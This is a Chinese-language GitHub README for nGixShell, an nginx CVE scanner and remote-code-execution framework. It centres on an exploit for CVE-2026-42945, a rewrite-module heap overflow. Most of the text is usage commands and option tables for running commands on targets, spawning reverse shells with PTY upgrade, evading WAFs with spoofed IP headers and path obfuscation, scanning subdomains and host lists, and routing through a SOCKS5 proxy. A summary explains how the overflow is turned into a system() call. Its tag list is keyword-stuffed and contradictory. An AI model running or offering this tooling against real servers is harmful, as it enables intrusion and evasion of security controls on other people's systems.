MateusVerass/nGixshell

GitHub: MateusVerass/nGixshell

这是一个专为 nginx 设计的漏洞扫描与 RCE 利用框架,覆盖 53 个 CVE,帮助安全团队快速检测和利用服务器漏洞。

Stars: 0 | Forks: 0

nGixShell
![Python](https://img.shields.io/badge/python-3.8%2B-blue?style=flat-square&logo=python&logoColor=white) ![CVEs](https://img.shields.io/badge/CVEs-53-critical?style=flat-square) ![Zero deps](https://img.shields.io/badge/dependencies-none-brightgreen?style=flat-square) ![License](https://img.shields.io/badge/license-MIT-lightgrey?style=flat-square)
**nGixShell** 是一个 nginx CVE 扫描器和 RCE 利用框架。它包含一个针对 **CVE-2026-42945**(`ngx_http_rewrite_module` 中的一个严重堆缓冲区溢出)的有效概念验证,以及一个覆盖 **53 个 nginx CVE** 的扫描器,该扫描器支持自动化 HTTP 探测、指纹识别、WAF 检测/绕过、Web 安全审计和报告生成。 零外部依赖。纯 Python 3 标准库实现。 ## 快速开始 ``` # 启动易受攻击实验室 docker compose -f env/docker-compose.yml up -d # 自动模式 — 指纹识别 + CVE 扫描 + Web 审计 python3 ngixshell.py 127.0.0.1:19321 # 通过 RCE 执行命令 (CVE-2026-42945) python3 ngixshell.py 127.0.0.1:19321 --cmd 'id' # 植入反向 shell(自动检测 IP) python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell # 检测并绕过 WAF,然后扫描 python3 ngixshell.py 127.0.0.1:19321 --waf-bypass # 子域名扫描 python3 ngixshell.py --subdomain-scan example.com --scan-port 443 # 从文件读取多个目标 python3 ngixshell.py --target-file hosts.txt --json --html-report results.html ``` 无需额外参数 — 将工具指向一个目标即可自动运行所有功能。 TLS 支持 **自动检测**。即使 `server_tokens off`,也能对 nginx 进行指纹识别。 ## 使用方法 ``` python3 ngixshell.py [TARGET] [OPTIONS] TARGET formats: 127.0.0.1 192.168.1.10:8080 http://192.168.1.10:8080 https://target.local ``` ### 模式 | 参数 | 描述 | |---|---| | *(无)* | **自动** — 指纹识别 + CVE 扫描 + Web 审计 | | `--cmd 'CMD'` | 通过 CVE-2026-42945 RCE 执行命令 | | `--cmd-file FILE` | 从文件执行命令(以 `;` 连接) | | `--shell` | 弹出反向 shell | | `--shell-type TYPE` | Payload 类型: `bash` `python` `perl` `php` `nc` `powershell` (默认: `python`) | | `--upgrade-shell` | shell 连接后自动发送 PTY 升级 | | `--subdomain-scan DOMAIN` | 在子域名上查找存在漏洞的 nginx | | `--cve CVE-ID` | 测试单个特定 CVE | | `--list-cves` | 列出全部 53 个 CVE 及其 CVSS 和探测信息 | | `--list-candidates` | 列出堆地址候选 | | `--dry-run` | 仅指纹识别 + 扫描,不进行利用 | | `--target-file FILE` | 从文件扫描多个主机 | ### WAF 检测与绕过 | 参数 | 描述 | |---|---| | `--waf-detect` | 扫描前检测 WAF | | `--waf-bypass` | 启用所有绕过技术(也会运行检测) | | `--waf-ip IP` | 在绕过头部中伪造此 IP (默认: 随机 RFC1918 地址) | **绕过技术**(设置 `--waf-bypass` 时全部激活): | 技术 | 详情 | |---|---| | IP 伪装 | `X-Forwarded-For`, `X-Real-IP`, `X-Originating-IP`, `True-Client-IP`, `X-Remote-IP`, `X-Client-IP` | | UA 轮换 | 11 种真实浏览器/机器人 User-Agent,每个请求随机选择 | | 路径混淆 | 双斜杠、`./` 填充、百分号编码、大小写变化 | | 头部名大小写随机化 | 随机化头部名称大小写以破坏 WAF 模式匹配 | **可检测的 WAF:** Cloudflare, AWS WAF, Akamai, Imperva/Incapsula, ModSecurity, F5 BIG-IP ASM, Sucuri, Barracuda, NAXSI, Fastly, Wordfence ### Web 审计 在扫描模式下自动运行。所有模块均可单独跳过。 | 参数 | 描述 | |---|---| | `--skip-headers` | 跳过 HTTP 安全头部审计 | | `--skip-paths` | 跳过路径/文件发现 | | `--skip-vhosts` | 跳过虚拟主机枚举 | | `--skip-tls` | 跳过 TLS 协议审计 | | `--path-wordlist FILE` | 用于探测的额外路径(每行一个) | - **头部审计** — HSTS, CSP, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy,以及泄露版本的头部 - **路径发现** — 50 多个路径;哨兵探测可消除由全匹配 403/301 规则产生的误报 - **虚拟主机枚举** — 需要状态码和响应体差异同时存在,以避免默认阻塞的误报 - **TLS 审计** — 测试 TLS 1.0–1.3 支持、证书过期和自签名检测 - **stub_status** — 如果暴露,解析 `/nginx_status` 中的活跃连接指标 ### 连接 | 参数 | 描述 | |---|---| | `--port PORT` | 覆盖端口 | | `--tls` | 强制使用 TLS(默认自动检测) | | `--proxy URL` | 代理: `http://`, `https://`, `socks5://` | ### HTTP | 参数 | 描述 | |---|---| | `--user-agent UA` | 自定义 User-Agent | | `--auth USER:PASS` | HTTP Basic 认证 | | `--cookie VALUE` | Cookie 头 | | `--header NAME:VALUE` | 额外头部(可重复) | ### 速率/时序 | 参数 | 描述 | |---|---| | `--rate-limit RPS` | 每秒最大请求数 | | `--jitter MS` | 请求间随机延迟 0–MS 毫秒 | | `--retry N` | 重试不确定探测 (默认: 1) | | `--timeout-multiplier X` | 缩放所有超时时间 (默认: 1.0) | ### 输出 | 参数 | 描述 | |---|---| | `--output FILE` | 将日志写入文件 | | `--json` | 结束时打印 JSON 摘要 | | `--html-report [FILE]` | 生成 HTML 报告 (默认: `ngixshell__.html`) | | `--verbose` | 调试输出 | ## CVE 覆盖范围 涵盖 2009–2026 年的 53 个条目,按 CVSS 排序。 | CVE | CVSS | 组件 | 描述 | |---|---|---|---| | CVE-2026-42945 | 9.8 严重 | rewrite | 堆溢出 → RCE (**已利用**) | | CVE-2026-42946 | 8.1 高危 | rewrite | 内存损坏(同一公告) | | CVE-2022-41741 | 7.8 高危 | mp4 | 通过恶意 mp4 导致内存损坏 | | CVE-2016-1247 | 7.8 高危 | packaging | 日志文件符号链接权限提升 | | CVE-2021-23017 | 7.7 高危 | resolver | 差一错误导致堆覆写 | | CVE-2026-40701 | 7.5 高危 | request | 请求处理中的内存损坏 | | CVE-2026-42934 | 7.5 高危 | request | 内存损坏(同一公告) | | CVE-2026-27784 | 7.5 高危 | mp4 | 通过精心构造的 mp4 导致缓冲区溢出 | | CVE-2026-32647 | 7.5 高危 | mp4 | 缓冲区溢出(上述漏洞的关联) | | CVE-2024-24990 | 7.5 高危 | HTTP/3 | QUIC 模块中的释放后使用 | | CVE-2024-24989 | 7.5 高危 | HTTP/3 | QUIC 中的 NULL 指针解引用 | | CVE-2024-31079 | 7.5 高危 | HTTP/3 | QUIC 编码器中的栈溢出 | | CVE-2024-32760 | 7.5 高危 | HTTP/3 | 通过 HEADERS 帧导致缓冲区覆写 | | CVE-2022-41742 | 7.5 高危 | mp4 | 堆内存泄露 | | CVE-2017-7529 | 7.5 高危 | range filter | 整数溢出 → 越界读取 | | CVE-2016-0746 | 7.5 高危 | resolver | 通过精心构造的 DNS 响应导致释放后使用 | | CVE-2014-0133 | 7.5 高危 | SPDY | SPDY 实现中的堆溢出 | | CVE-2014-0088 | 7.5 高危 | SPDY | SPDY 中的内存损坏 | | CVE-2013-4547 | 7.5 高危 | core | 空格+NUL URI 绕过 | | CVE-2013-2028 | 7.5 高危 | core | 分块编码栈溢出 | | CVE-2012-1180 | 7.5 高危 | proxy | 代理模块中的释放后使用 | | CVE-2009-3555 | 7.5 高危 | SSL | TLS 重协商注入(中间人攻击) | | CVE-2009-2629 | 7.5 高危 | core | URI 解析中的缓冲区下溢 | | CVE-2026-42926 | 6.5 中危 | HTTP/2 | 通过代理导致请求拆分 | | CVE-2026-27654 | 6.5 中危 | WebDAV | DAV 模块中的堆溢出 | | CVE-2026-28753 | 6.5 中危 | mail | 邮件代理中的头部注入 | | CVE-2026-1642 | 6.5 中危 | proxy | SSL 上游会话复用泄露 | | CVE-2019-9511 | 6.5 中危 | HTTP/2 | 数据慢速攻击导致 CPU/内存拒绝服务 | | CVE-2012-2089 | 6.8 中危 | mp4 | 通过 mp4 请求导致缓冲区溢出 | | CVE-2018-16845 | 5.5 中危 | mp4 | 整数下溢 → 崩溃 + 泄露 | | CVE-2019-20372 | 5.3 中危 | proxy | HTTP 请求走私 | | CVE-2026-40460 | 5.3 中危 | HTTP/3 | QUIC 连接欺骗 | | CVE-2026-28755 | 5.3 中危 | SSL | OCSP 处理中的内存泄露 | | CVE-2025-23419 | 5.3 中危 | SSL | TLS 会话恢复证书绕过 | | CVE-2024-35200 | 5.3 中危 | HTTP/3 | NULL 指针解引用 | | CVE-2024-34161 | 5.3 中危 | HTTP/3 | 内存泄露 | | CVE-2016-4450 | 5.3 中危 | core | 通过分块请求体导致 NULL 指针 | | CVE-2016-0742 | 5.0 中危 | resolver | 通过精心构造的 UDP 包导致无效指针 | | CVE-2016-0747 | 5.0 中危 | resolver | CNAME 解析限制不足 | | CVE-2014-3556 | 5.0 中危 | mail | STARTTLS 命令注入 | | CVE-2013-2070 | 5.3 中危 | proxy | 后端响应泄露 | | CVE-2011-4963 | 5.0 中危 | access | IPv6 字面量访问控制绕过 | | CVE-2011-4315 | 5.0 中危 | resolver | 通过精心构造的 DNS 响应导致堆溢出 | | CVE-2009-3896 | 5.0 中危 | core | NULL 指针解引用拒绝服务 | | CVE-2025-53859 | 4.3 中危 | mail | SMTP 命令注入 | | CVE-2014-3616 | 4.3 中危 | SSL | TLS SNI 虚拟主机混淆 | | CVE-2026-27651 | 4.3 中危 | mail | 邮件代理中的 NULL 指针解引用 | | CVE-2019-9513 | 4.3 中危 | HTTP/2 | 资源循环导致 CPU 拒绝服务 | | CVE-2019-9516 | 4.3 中危 | HTTP/2 | 零长度头部导致内存耗尽 | | CVE-2018-16843 | 4.3 中危 | HTTP/2 | 过度内存消耗 | | CVE-2018-16844 | 4.3 中危 | HTTP/2 | 通过 SETTINGS 帧导致 CPU 过度消耗 | | CVE-2024-7347 | 4.7 中危 | mp4 | 越界读取 | | CVE-2009-3898 | 4.9 中危 | WebDAV | 通过 COPY/MOVE 导致目录遍历 | ## 漏洞详情 (CVE-2026-42945) nginx 的 rewrite 脚本引擎使用 **两遍** 模型:先计算缓冲区大小,然后复制。当 `rewrite` 替换包含 `?` 时,主引擎会设置 `is_args` 标志,但长度计算遍运行在一个新清零的子引擎上: - **长度计算遍** — 看到 `is_args = 0` → 返回原始捕获长度 - **复制遍** — 看到 `is_args = 1` → 调用 `ngx_escape_uri(NGX_ESCAPE_ARGS)`,将每个不安全字节扩展为 3 个字节 复制操作使过小的堆缓冲区溢出攻击者控制的 URI 数据。通过跨请求的堆布局操控,利用过程会破坏相邻的 `ngx_pool_t` 清理指针,将其重定向到一个伪造的 `ngx_pool_cleanup_s` 结构体,该结构体在池销毁时调用 `system()`。 ### 受影响版本 | 产品 | 存在漏洞 | 已修复 | |---|---|---| | NGINX Open Source | 0.6.27 – 1.30.0 | 1.31.0, 1.30.1 | | NGINX Plus | R32 – R36 | R36 P4, R35 P2, R32 P6 | 厂商公告: ## 实验环境搭建 在 Ubuntu 24.04 LTS 上测试。需要 Docker 和 Python 3.8+。 ``` # 启动易受攻击实验室 (nginx 1.25.3) docker compose -f env/docker-compose.yml up -d # 全面扫描 python3 ngixshell.py 127.0.0.1:19321 # RCE 并输出 JSON python3 ngixshell.py 127.0.0.1:19321 --cmd 'id' --json # 反向 shell — bash 载荷,自动升级 PTY python3 ngixshell.py 127.0.0.1:19321 --shell --shell-type bash --upgrade-shell # 使用伪造 IP 绕过 WAF 扫描 python3 ngixshell.py 127.0.0.1:19321 --waf-bypass --waf-ip 10.10.10.1 # 通过 SOCKS5 代理 python3 ngixshell.py 192.168.1.10 --proxy socks5://127.0.0.1:9050 # 带速率限制的子域名扫描 python3 ngixshell.py --subdomain-scan example.com --scan-port 443 --rate-limit 10 # 多目标,JSON 输出,HTML 报告 python3 ngixshell.py --target-file hosts.txt --json --html-report results.html ``` ## 免责声明 仅供授权安全测试、CTF 竞赛和研究使用。
标签:C2日志可视化, CISA项目, Docker, HTTPS安全, nginx, Python, TLS, Web安全, Web服务器安全, 代码生成, 反取证, 子域扫描, 安全评估, 安全防御评估, 密码管理, 指纹识别, 插件系统, 无后门, 无线安全, 渗透测试工具, 漏洞利用框架, 编程工具, 网络安全, 蓝队分析, 请求拦截, 远程代码执行, 逆向工具, 防御工具, 隐私保护